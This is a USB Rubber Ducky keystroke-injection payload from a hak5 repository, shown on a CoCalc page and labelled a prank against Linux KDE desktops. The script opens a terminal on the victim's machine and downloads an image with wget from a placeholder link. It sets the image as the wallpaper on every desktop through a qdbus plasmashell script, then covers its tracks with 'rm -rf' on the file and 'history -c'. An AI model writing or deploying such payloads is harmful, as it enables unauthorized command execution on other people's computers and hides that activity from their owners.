Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt
2968 views
1
REM ###########################################
2
REM # |
3
REM # Title : Change Desktop Wallpaper |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Prank |
7
REM # Target : Linux (KDE based) |
8
REM # |
9
REM ###########################################
10
11
REM Requirements:
12
REM - Internet Connection
13
14
DELAY 1000
15
CTRL-ALT t
16
DELAY 2000
17
18
REM Replace 'example.com/IMAGE_NAME' with your image link
19
DEFINE IMAGE_LINK example.com/IMAGE_NAME
20
STRING wget
21
STRING IMAGE_LINK
22
ENTER
23
24
REM Replace example.jpg with the image path, for example /home/USERNAME/example.jpg
25
DEFINE IMAGE_PATH="file://example.jpg"
26
27
REM It depends by the Internet Connection
28
DELAY 2000
29
30
STRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript 'var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = "org.kde.image";d.currentConfigGroup = Array("Wallpaper", "org.kde.image", "General");d.writeConfig("Image", "
31
STRING IMAGE_PATH
32
STRING ")}'
33
ENTER
34
DELAY 1000
35
36
STRING rm -rf
37
STRING IMAGE_PATH
38
STRING ;history -c; exit;
39
ENTER
40
41